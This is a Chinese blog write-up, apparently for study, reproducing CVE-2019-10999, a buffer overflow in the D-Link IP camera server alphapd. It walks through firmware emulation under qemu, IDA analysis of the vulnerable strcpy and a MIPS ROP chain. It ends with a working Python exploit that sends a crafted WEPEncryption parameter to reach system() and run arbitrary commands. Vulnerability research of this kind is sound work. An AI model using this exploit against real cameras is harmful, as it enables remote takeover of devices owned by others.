CVE-2019-10999-Dlink摄像头缓冲区溢出漏洞复现

本文最后更新于:2023年7月20日 上午

CVE-2019-10999 Dlink ip摄像头复现

CVE-2019-10999 是 Dlink IP 摄像头的后端服务器程序 alphapd 中的一个缓冲区溢出漏洞,漏洞允许经过身份认证的用户在请求 wireless.htm 时,传入 WEPEncryption 参数一个长字符串来执行任意代码。

固件模拟

1
2
cp $(which qemu-mipsel-static) .
sudo chroot . ./qemu-mipsel-static ./bin/alphapd

问题1

alphapd拖入ida查找pid字段,发现该fopen语句。

所以我们在该固件的根目录下创建该文件。

问题2

查找random字段,发现如下open语句。

1
2
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9

问题3

这里无法写入random state,解决方式如下,

1
2
touch .rnd
sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd

具体原理:

OpenSSL 需要写入一些信息到 .rnd 文件,上面的问题可能是因为 .rnd 文件不存在,OpenSSL 不知道默认文件在何处,因为 RANDFILE 和 HOME 环境变量没有设置,那么解决方法就是创建 .rnd 文件并且设置环境变量指向这个文件。qemu 启动的时候设置这两个环境变量,解决了上面的问题。

问题4

直接在ida中搜索并定位问题。

这里我们将该判断patch掉。

反编译后,可以看到

问题5

无法打开80端口,猜测80端口被占用了。

经过查询可知,本机的apache2服务占据了80端口。关闭apache服务即可

成功启动

漏洞分析

通过查询该CVE,可以了解到当请求wireless.htm时,其WEPEncryption参数造成了溢出。

查找溢出点

通过IDA交叉引用查找溢出点。

逐个函数对比分析后,发现可疑点。

sub_435DEC

该函数获取WEPEncryption的值并赋值给Var,然后赋值给v8,最后strcpy赋值给v11。可以想到,通过控制a1的长度就可以造成溢出。交叉引用找到其调用者。

formDefineWireless

同时,我们在Web页面也找到了相似关键点。

并且通过抓包,我们得到相关请求头参数。

漏洞分析

漏洞触发

由ida分析可知,当我们输入字节数大于0x10时,即可发生溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'http://127.0.0.1/wizard.htm',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}

session = requests.session()

ip = 'http://127.0.0.1/wireless.htm'
data = '?WEPEncryption=' + 'A' * 0x20 + 'B' * 0x4

res = session.get(url=ip+data, headers=headers)

print(res.text)

漏洞利用

调试方法

首先,启动漏洞程序,并开启1234端口

1
sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd -g 1234 ./bin/alphapd

其次,使用gdb-multiarch进行调试

1
2
gdb-multiarch ./bin/alphapd
target remote :1234

MIPS指令集

该架构为MIPS架构,其寄存器特点如下:

mips

MIPS指令详解:https://blog.csdn.net/qq_39559641/article/details/89608132

利用

首先,获取程序基址

1
2
ps -ajx | grep alphapd
sudo cat /proc/pid/maps

这里无法直接得到libc地址。

通过调试,间接方法得到libc基址。

libc_base = 0x7f6d0000

其次,获取system函数的地址

1
readelf -s ./libuClibc-0.9.28.so | grep system

然后,查找可用gadget

这里使用IDA插件mipsrop查找。

1
2
3
4
.text:00050DE4 addiu   $s2, $sp, 0x1C8+var_D8
.text:00050DE8 move $a0, $s2
.text:00050DEC move $t9, $s0
.text:00050DF0 jalr $t9 ; sub_505D0

该gadget实现功能如下:

1
2
$a0 = $sp + 0xf0		# arg1
jalr $s0

进一步分析漏洞函数sub_435DEC

可知,

  1. 函数一开始将$ra, $s0-$s5存储在栈上
  2. 当我们写入0x10字节时,可以控制$s0为system函数地址
  3. 累计写入0x28个字节后,可以控制$ra寄存器为gadget
  4. 接着,累计写入(0x30 + 0xf0)个字节后,可以控制$a0寄存器为cmd指令
  5. 跳转到system函数,从而执行任意命令。

最终漏洞脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests

def urlcode(data):
text = hex(data)[2:]
temp = ['%' + text[i] + text[i + 1] for i in range(0, 8, 2)]
res = ''
for i in range(len(temp)):
res += temp[len(temp) - i - 1]
return res


headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'http://127.0.0.1/wizard.htm',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}

session = requests.session()

libc_base = 0x7f6d0000
system = libc_base + 0x4bd20
gadget = libc_base + 0x50de4

cmd = 'ls'

ip = 'http://127.0.0.1/wireless.htm'
data = '?WEPEncryption=' + 'A' * 0x10 + urlcode(system)
data += 'B' * (0x28 - 0x14) + urlcode(gadget)
data += 'C' * (0x30 - 0x2c + 0x1c8 - 0xd8) + cmd

url = ip + data

res = session.get(url=url, headers=headers)

print(res.text)

可以看到,我们成功执行了远程命令。

这里$sp的变化,是在跳转到gadget前,优先执行addiu $sp, 0x48指令,也即gadget的下一条指令。这个叫做分支延迟槽 (Branch delay slot),简单地说就是位于分支指令后面的一条指令,不管分支发生与否其总是被执行,而且位于分支延迟槽中的指令先于分支指令提交 (commit)。

参考文档:

https://www.anquanke.com/post/id/259210

https://blog.csdn.net/qq_39559641/article/details/89608132

https://blog.csdn.net/qq_39559641/article/details/89608132


CVE-2019-10999-Dlink摄像头缓冲区溢出漏洞复现
http://example.com/2023/02/04/CVE-2019-10999-Dlink摄像头缓冲区溢出漏洞复现/
作者
l1s00t
发布于
2023年2月4日
更新于
2023年7月20日
许可协议